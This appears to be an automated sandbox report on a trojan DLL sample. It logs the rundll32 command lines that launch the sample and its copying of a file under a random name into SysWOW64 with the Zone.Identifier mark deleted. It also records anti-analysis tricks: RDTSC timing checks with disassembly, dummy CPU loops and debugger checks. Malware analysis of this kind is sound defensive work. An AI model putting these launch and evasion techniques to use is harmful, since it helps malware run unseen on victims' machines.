Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01138D59	5_2_01138D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113635F	5_2_0113635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01134F42	5_2_01134F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114C145	5_2_0114C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01152D4F	5_2_01152D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0115314A	5_2_0115314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01132176	5_2_01132176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114C772	5_2_0114C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01132575	5_2_01132575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01145B7C	5_2_01145B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113597D	5_2_0113597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01132B7C	5_2_01132B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114F561	5_2_0114F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01135166	5_2_01135166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113DD66	5_2_0113DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01152560	5_2_01152560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01139565	5_2_01139565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113196D	5_2_0113196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113996C	5_2_0113996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01151987	5_2_01151987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01137D87	5_2_01137D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113F984	5_2_0113F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113938F	5_2_0113938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011477A7	5_2_011477A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114BFA1	5_2_0114BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011333A9	5_2_011333A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114E7DA	5_2_0114E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011489DA	5_2_011489DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011413DB	5_2_011413DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01135DC3	5_2_01135DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011339C3	5_2_011339C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01144DC5	5_2_01144DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01140FC5	5_2_01140FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01132DC5	5_2_01132DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011491F7	5_2_011491F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01131DF9	5_2_01131DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114D5FE	5_2_0114D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01136BFE	5_2_01136BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011535E3	5_2_011535E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113FBEF	5_2_0113FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113B7EC	5_2_0113B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01152C16	5_2_01152C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01141C12	5_2_01141C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114BA18	5_2_0114BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113F20D	5_2_0113F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01140A37	5_2_01140A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01133E3B	5_2_01133E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114CC3F	5_2_0114CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01140824	5_2_01140824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114645F	5_2_0114645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114604E	5_2_0114604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01151C71	5_2_01151C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114E478	5_2_0114E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01150C66	5_2_01150C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113C69B	5_2_0113C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113F699	5_2_0113F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113D899	5_2_0113D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01133085	5_2_01133085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01143ABE	5_2_01143ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113AEB9	5_2_0113AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0114B0BA	5_2_0114B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011404A4	5_2_011404A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113F4A5	5_2_0113F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011456A9	5_2_011456A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011368AD	5_2_011368AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01150AD3	5_2_01150AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01147EDD	5_2_01147EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011354C0	5_2_011354C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113BEF5	5_2_0113BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_011520F8	5_2_011520F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113E6FD	5_2_0113E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113A8E8	5_2_0113A8E8

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E904F90 appears 52 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E904F90 appears 52 times

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F1230 ntlbxpnmpq,		1_2_6E8F1230
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F1230 ntlbxpnmpq,		4_2_6E8F1230

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: UioA2E9DBG.dll

Binary or memory string: OriginalFilenameYlncpiqzme.dll6 vs UioA2E9DBG.dll

Source: UioA2E9DBG.dll

Virustotal: Detection: 23%

Source: UioA2E9DBG.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,agrwqhxohbh
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,aoydsyidkopcdbcv
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp",gqJNgJRYaqyk
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,agrwqhxohbh	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,aoydsyidkopcdbcv	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp",gqJNgJRYaqyk	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",Control_RunDLL	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winDLL@22/4@0/30

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E8FAF10 CoCreateInstance,OleRun,

1_2_6E8FAF10

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\UioA2E9DBG.dll,Control_RunDLL

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E8F5980 GetTickCount64,FindResourceA,

1_2_6E8F5980

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: UioA2E9DBG.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: UioA2E9DBG.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: UioA2E9DBG.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: UioA2E9DBG.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: UioA2E9DBG.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: UioA2E9DBG.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9151C push ds; ret	1_2_00D91527
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00D9150F push ds; ret	1_2_00D91527
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E904FE0 push ecx; ret	1_2_6E904FF3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8FE240 push esi; ret	1_2_6E8FE242
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E9273E1 push ecx; ret	1_2_6E9273F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E904FE0 push ecx; ret	4_2_6E904FF3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8FE240 push esi; ret	4_2_6E8FE242
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9273E1 push ecx; ret	4_2_6E9273F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113151C push ds; ret	5_2_01131527
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0113150F push ds; ret	5_2_01131527

Source: UioA2E9DBG.dll

Static PE information: real checksum: 0x75999 should be: 0x74f7b

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Jsczeisswlgpw\ifzwhxr.fpp:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F6134 second address: 000000006E8F6168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FEE48EA84B4h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F79F7 second address: 000000006E8F7A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FEE48B5C3DEh 0x00000007 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F7A0A second address: 000000006E8F79F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FEE48EB4BD7h 0x00000014 cmp ecx, dword ptr [6E93D008h] 0x0000001a jne 00007FEE48EA8493h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FEE48EA849Fh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FEE48EA85F2h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FEE48EA865Eh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FEE48EA82EEh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FEE48EA99F3h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6E93D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F6134 second address: 000000006E8F6168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FEE48B5C3F4h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F79F7 second address: 000000006E8F7A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FEE48EA849Eh 0x00000007 rdtscp
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 000000006E8F7A0A second address: 000000006E8F79F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FEE48B68B17h 0x00000014 cmp ecx, dword ptr [6E93D008h] 0x0000001a jne 00007FEE48B5C3D3h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FEE48B5C3DFh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FEE48B5C532h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FEE48B5C59Eh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FEE48B5C22Eh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FEE48B5D933h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6E93D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006E8F6134 second address: 000000006E8F6168 instructions: 0x00000000 rdtscp 0x00000003 mov dword ptr [ebp-08h], ecx 0x00000006 test edx, edx 0x00000008 jne 00007FEE48EA84B4h 0x0000000a mov edi, 00D66F8Ch 0x0000000f mov dword ptr [ebp-14h], edi 0x00000012 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006E8F79F7 second address: 000000006E8F7A0A instructions: 0x00000000 rdtscp 0x00000003 test edx, edx 0x00000005 jnbe 00007FEE48B5C3DEh 0x00000007 rdtscp
Source: C:\Windows\System32\loaddll32.exe	RDTSC instruction interceptor: First address: 000000006E8F7A0A second address: 000000006E8F79F7 instructions: 0x00000000 rdtscp 0x00000003 mov ecx, dword ptr [esp+0Ch] 0x00000007 ror esi, 0Dh 0x0000000a mov eax, esi 0x0000000c pop esi 0x0000000d xor ecx, esp 0x0000000f call 00007FEE48EB4BD7h 0x00000014 cmp ecx, dword ptr [6E93D008h] 0x0000001a jne 00007FEE48EA8493h 0x0000001c ret 0x0000001d mov esp, ebp 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov cl, byte ptr [esi] 0x00000023 mov edi, eax 0x00000025 cmp cl, 00000061h 0x00000028 jc 00007FEE48EA849Fh 0x0000002a movzx eax, cl 0x0000002d add edi, FFFFFFE0h 0x00000030 add edi, eax 0x00000032 jmp 00007FEE48EA85F2h 0x00000037 mov eax, dword ptr [ebp-14h] 0x0000003a mov ecx, dword ptr [ebp-18h] 0x0000003d cdq 0x0000003e sub eax, edx 0x00000040 sar eax, 1 0x00000042 cmp eax, ecx 0x00000044 jl 00007FEE48EA865Eh 0x0000004a add ebx, 0000FFFFh 0x00000050 inc esi 0x00000051 test bx, bx 0x00000054 jne 00007FEE48EA82EEh 0x0000005a mov eax, dword ptr [ebp-14h] 0x0000005d cmp eax, ecx 0x0000005f cmovle eax, ecx 0x00000062 mov ecx, edi 0x00000064 mov dword ptr [ebp-14h], eax 0x00000067 call 00007FEE48EA99F3h 0x0000006c push ebp 0x0000006d mov ebp, esp 0x0000006f and esp, FFFFFFF8h 0x00000072 sub esp, 0Ch 0x00000075 mov eax, dword ptr [6E93D008h] 0x0000007a xor eax, esp 0x0000007c mov dword ptr [esp+08h], eax 0x00000080 push esi 0x00000081 mov esi, ecx 0x00000083 rdtscp

Source: C:\Windows\System32\svchost.exe TID: 6540

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E8F6100 rdtscp

1_2_6E8F6100

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E91BA20 FindFirstFileExW,		1_2_6E91BA20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E91BA20 FindFirstFileExW,		4_2_6E91BA20

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 0000000A.00000002.828305794.000001EA7CC29000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@P&~
Source: svchost.exe, 0000000A.00000002.829573302.000001EA7E261000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.829529101.000001EA7E254000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW

Anti Debugging:

Found potential dummy code loops (likely to delay analysis)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 90% for more than 60s

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E904E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_6E904E67

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E90744C GetProcessHeap,HeapFree,

1_2_6E90744C

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_6E8F6100 rdtscp

1_2_6E8F6100

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_00DA4315 mov eax, dword ptr fs:[00000030h]	1_2_00DA4315
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F6100 mov eax, dword ptr fs:[00000030h]	1_2_6E8F6100
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F6100 mov eax, dword ptr fs:[00000030h]	1_2_6E8F6100
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E914F94 mov eax, dword ptr fs:[00000030h]	1_2_6E914F94
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E8F7A30 mov eax, dword ptr fs:[00000030h]	1_2_6E8F7A30
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E91B715 mov eax, dword ptr fs:[00000030h]	1_2_6E91B715
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E907334 mov esi, dword ptr fs:[00000030h]	1_2_6E907334
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F6100 mov eax, dword ptr fs:[00000030h]	4_2_6E8F6100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F6100 mov eax, dword ptr fs:[00000030h]	4_2_6E8F6100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E914F94 mov eax, dword ptr fs:[00000030h]	4_2_6E914F94
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E8F7A30 mov eax, dword ptr fs:[00000030h]	4_2_6E8F7A30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E91B715 mov eax, dword ptr fs:[00000030h]	4_2_6E91B715
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E907334 mov esi, dword ptr fs:[00000030h]	4_2_6E907334
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_01144315 mov eax, dword ptr fs:[00000030h]	5_2_01144315

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E904E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6E904E67
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E90461A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_6E90461A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_6E90D436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_6E90D436
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E904E67 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E904E67
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E90461A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6E90461A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E90D436 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E90D436

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\UioA2E9DBG.dll",#1

Jump to behavior

Source: rundll32.exe, 0000000E.00000002.829511737.00000000032E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
